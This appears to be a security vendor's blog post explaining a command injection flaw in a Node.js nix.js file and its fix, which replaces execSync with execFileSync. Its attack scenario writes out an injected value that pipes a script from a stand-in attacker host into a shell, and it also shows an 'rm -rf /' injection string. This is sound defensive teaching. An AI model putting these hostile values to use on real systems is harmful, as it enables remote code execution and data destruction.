Back to Blog
high SEVERITY6 min read

How Command Injection happens in Node.js child_process and how to fix it

A command injection vulnerability in nix.js's Release class allowed potentially malicious input through the `arch` parameter to be executed via shell commands. The fix replaced `execSync()` with `execFileSync()`, eliminating shell interpretation and preventing command injection by passing arguments as an array instead of a concatenated string.

O
By Orbis AppSec
Published August 14, 2026Reviewed August 14, 2026

Answer Summary

Command injection in Node.js occurs when user-controllable input is passed to `execSync()` with shell interpolation, allowing attackers to inject arbitrary commands. This vulnerability (CWE-78) was fixed in nix.js line 34 by replacing `execSync()` with `execFileSync()` and passing arguments as an array, which bypasses shell interpretation entirely and prevents command injection.

Vulnerability at a Glance

cweCWE-78 (OS Command Injection)
fixReplace execSync() with execFileSync() using argument array
riskArbitrary command execution if arch parameter is attacker-controlled
languageJavaScript (Node.js)
root causeexecSync() with string concatenation enables shell metacharacter injection
vulnerabilityCommand Injection via child_process

Introduction

In a Node.js package managing Zotero releases for Nix, we discovered a high-severity command injection vulnerability in nix.js at line 34. The Release class's hash fetching logic used execSync() with string concatenation, creating a command injection vector through the arch parameter. While the immediate exploitability depends on how arch is controlled by callers, this pattern represents a dangerous exploit primitive that automated attack tools could chain with other vulnerabilities.

The vulnerable code constructed a shell command by concatenating the arch variable directly into a command string passed to execSync(). If an attacker could influence the arch value—perhaps through a supply chain attack, compromised configuration, or upstream data source—they could inject arbitrary shell commands using metacharacters like ;, |, or backticks.

The Vulnerability Explained

The vulnerability existed in the Release class's hash fetching logic. Here's the problematic code from line 33-34:

const cmd = `nix --extra-experimental-features "nix-command flakes" store prefetch-file --json --name '${name}' '${this.url}'`
const result = execSync(cmd, { encoding: 'utf8' })

The name variable is constructed from several inputs, including the arch parameter:

const name = `zotero-${channel}-${version.replace(/\+/g, '.')}-${arch}.tar.xz`

The critical problem: execSync() invokes a shell to interpret the command string. This means any shell metacharacters in the interpolated variables will be executed as commands, not treated as literal data.

Attack Scenario

Consider if an attacker could control or influence the arch parameter through:
- A compromised dependency that provides architecture detection
- Malicious data in an upstream configuration file
- A supply chain attack on a package that calls this code

An attacker could set arch to something like:

arch = "x64'; curl http://attacker.com/malware.sh | sh; echo 'pwned"

This would result in the following command being executed:

nix --extra-experimental-features "nix-command flakes" store prefetch-file --json --name 'zotero-stable-7.0.0-x64'; curl http://attacker.com/malware.sh | sh; echo 'pwned.tar.xz' 'https://...'

The shell would interpret the semicolons as command separators, executing:
1. The legitimate nix command (which would fail)
2. curl http://attacker.com/malware.sh | sh (downloading and executing malicious code)
3. echo 'pwned.tar.xz' (completing the injection)

The real-world impact for this Node.js library is significant because it affects all downstream consumers. Any application using this package to manage Zotero releases could be compromised if the arch parameter comes from an untrusted source.

The Fix

The fix elegantly eliminates the vulnerability by replacing execSync() with execFileSync() and passing arguments as an array:

Before (vulnerable):

const cmd = `nix --extra-experimental-features "nix-command flakes" store prefetch-file --json --name '${name}' '${this.url}'`
const result = execSync(cmd, { encoding: 'utf8' })

After (secure):

const result = execFileSync('nix', ['--extra-experimental-features', 'nix-command flakes', 'store', 'prefetch-file', '--json', '--name', name, this.url], { encoding: 'utf8' })

This change provides multiple security improvements:

  1. No shell interpretation: execFileSync() directly executes the nix binary without spawning a shell, eliminating the attack surface entirely.

  2. Argument array: By passing arguments as an array, each element is treated as a literal argument to the nix command. Shell metacharacters in name or this.url are passed as-is to the program, not interpreted by a shell.

  3. Explicit separation: The executable ('nix') is clearly separated from its arguments, making the code's intent obvious and preventing argument injection into the command name itself.

Even if an attacker controls arch and injects "x64'; rm -rf /", it would simply be passed as a literal string to the --name parameter of the nix command. The nix program would receive:

--name
zotero-stable-7.0.0-x64'; rm -rf /.tar.xz

The nix program would treat this as a filename (albeit an invalid one), not as shell commands to execute.

Prevention & Best Practices

To prevent command injection vulnerabilities in Node.js applications:

  1. Prefer execFileSync() or spawn() over execSync(): These functions don't invoke a shell by default, eliminating the primary attack vector.

  2. Use argument arrays, not string concatenation: Always pass arguments as an array rather than building command strings:
    ```javascript
    // Good
    execFileSync('command', ['arg1', 'arg2', userInput])

// Bad
execSync(command arg1 arg2 ${userInput})
```

  1. Set shell: false explicitly: When using spawn() or exec(), explicitly disable shell interpretation:
    javascript spawn('command', [arg1, arg2], { shell: false })

  2. Validate input when shell is unavoidable: If you absolutely must use shell features (pipes, redirection), implement strict allowlisting:
    javascript const allowedValues = ['x64', 'arm64', 'x86'] if (!allowedValues.includes(arch)) { throw new Error('Invalid architecture') }

  3. Use static analysis: Tools like Semgrep, ESLint security plugins, and CodeQL can automatically detect command injection patterns during development.

  4. Apply the principle of least privilege: Run Node.js processes with minimal permissions to limit the impact of successful exploitation.

According to OWASP's Command Injection Prevention Cheat Sheet, the safest approach is to avoid calling OS commands entirely when possible. When necessary, use APIs that don't invoke a shell, exactly as this fix demonstrates.

Key Takeaways

  • Never use execSync() with string interpolation: The nix.js vulnerability shows how string concatenation in shell commands creates injection vectors, even when exploitability isn't immediately obvious.

  • execFileSync() with argument arrays is the secure pattern: Line 33's fix demonstrates the correct approach—pass the executable name and arguments separately to bypass shell interpretation entirely.

  • The arch parameter in the Release class was the tainted data flow: Even seemingly internal parameters can become attack vectors if they originate from external sources or dependencies.

  • Exploit primitives matter: While this specific code path may not be directly exploitable today, removing dangerous patterns prevents future vulnerabilities as the codebase evolves and automated attack tools become more sophisticated.

  • One-line fixes can eliminate entire vulnerability classes: Replacing execSync() with execFileSync() required minimal code changes but completely eliminated the command injection risk.

How Orbis AppSec Detected This

  • Source: The arch parameter passed to the Release class constructor, which flows into the name variable construction
  • Sink: execSync() call at line 34 in nix.js, which executes a shell command with interpolated user-controllable data
  • Missing control: No input validation or sanitization on the arch parameter before shell command construction; use of shell-interpreting execSync() instead of safer alternatives
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Fix: Replaced execSync() with execFileSync() and converted the command string to an argument array, eliminating shell interpretation

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This command injection vulnerability in nix.js demonstrates how even well-intentioned code can create security risks when using shell-interpreting functions like execSync(). The fix—replacing it with execFileSync() and using argument arrays—is a textbook example of defensive programming that eliminates an entire class of vulnerabilities.

For Node.js developers, the lesson is clear: treat execSync() with extreme caution, prefer execFileSync() or spawn() with argument arrays, and use static analysis tools to catch these patterns before they reach production. By removing exploit primitives proactively, we raise the bar against increasingly sophisticated automated attack tools and protect downstream consumers of our code.

References

Frequently Asked Questions

What is command injection in Node.js child_process?

Command injection occurs when user-controllable data is passed to shell execution functions like execSync() without proper sanitization, allowing attackers to inject additional commands using shell metacharacters like semicolons, pipes, or backticks.

How do you prevent command injection in Node.js?

Use execFileSync() or spawn() instead of execSync(), pass arguments as arrays rather than concatenated strings, validate and sanitize all user input, and avoid shell interpretation by setting shell: false in options.

What CWE is command injection?

Command injection is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command). It's a critical vulnerability that can lead to complete system compromise.

Is input validation enough to prevent command injection?

No. While input validation helps, the safest approach is to avoid shell interpretation entirely by using execFileSync() or spawn() with argument arrays. Shell metacharacters are complex and easy to miss in validation, making architectural fixes more reliable.

Can static analysis detect command injection?

Yes. Tools like Semgrep can detect command injection patterns by tracking data flow from untrusted sources to dangerous sinks like execSync(). This vulnerability was automatically detected by Semgrep's javascript.lang.security.detect-child-process rule.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #126

Related Articles

high

How javascript.lang.security.detect-child-process.detect-child-process happens in Node.js and how to fix it

A high-severity command injection vulnerability was discovered in `scripts/build.js` where `execSync` was called with string-interpolated arguments (`sourceDir` and `outputPath`) inside a shell command. By replacing `execSync` with `spawnSync` using an argument array (no shell), the fix eliminates the possibility of shell metacharacter injection while preserving identical build behavior.

critical

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability (CVE-2026-9277) was discovered in shell-quote versions prior to 1.8.4, where unescaped line terminators allowed attackers to inject arbitrary shell commands through crafted input strings. The fix pins shell-quote to version 1.9.0 via a `package.json` overrides directive in the FabricExample project, ensuring all transitive dependencies resolve to the patched version. Left unaddressed, this vulnerability could have allowed arbitrary code execution on any

high

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `tools/utils/lang/helpers.ts` where the `prettier()` function passed a user-controllable `fileName` argument directly into a shell command string via `exec()`. By replacing `exec()` with `execFile()` and passing arguments as an array, the fix eliminates shell interpolation entirely, preventing attackers from injecting arbitrary shell commands through malicious filenames.

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `scripts/common.js` where the `exec()` function used `execSync()` with unsanitized input, allowing potential command injection attacks. The fix replaces `execSync()` with `execFileSync()` and separates command arguments into an array, preventing shell metacharacter interpretation. This defensive hardening removes an exploit primitive that could be chained with other weaknesses by automated attack tools.

high

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

A Node.js library was vulnerable to command injection through unsafe use of `execSync()` with shell string interpolation in the `index.js` file. By switching to `execFileSync()` with argument arrays, the fix eliminates the ability for attackers to inject shell metacharacters through file paths. This change demonstrates a critical security hardening pattern for any Node.js code that spawns child processes.

high

How Quadratic CPU Consumption Vulnerabilities Happen in JavaScript YAML Parsers and How to Fix Them

A high-severity denial-of-service vulnerability in js-yaml versions 3.x and 4.x allowed attackers to trigger quadratic CPU consumption through specially crafted YAML documents using the !!omap tag. This fix upgrades js-yaml from 4.1.1 to 4.3.1 and from 3.14.2 to 3.15.1, eliminating the algorithmic complexity attack vector that could freeze Node.js applications processing untrusted YAML input.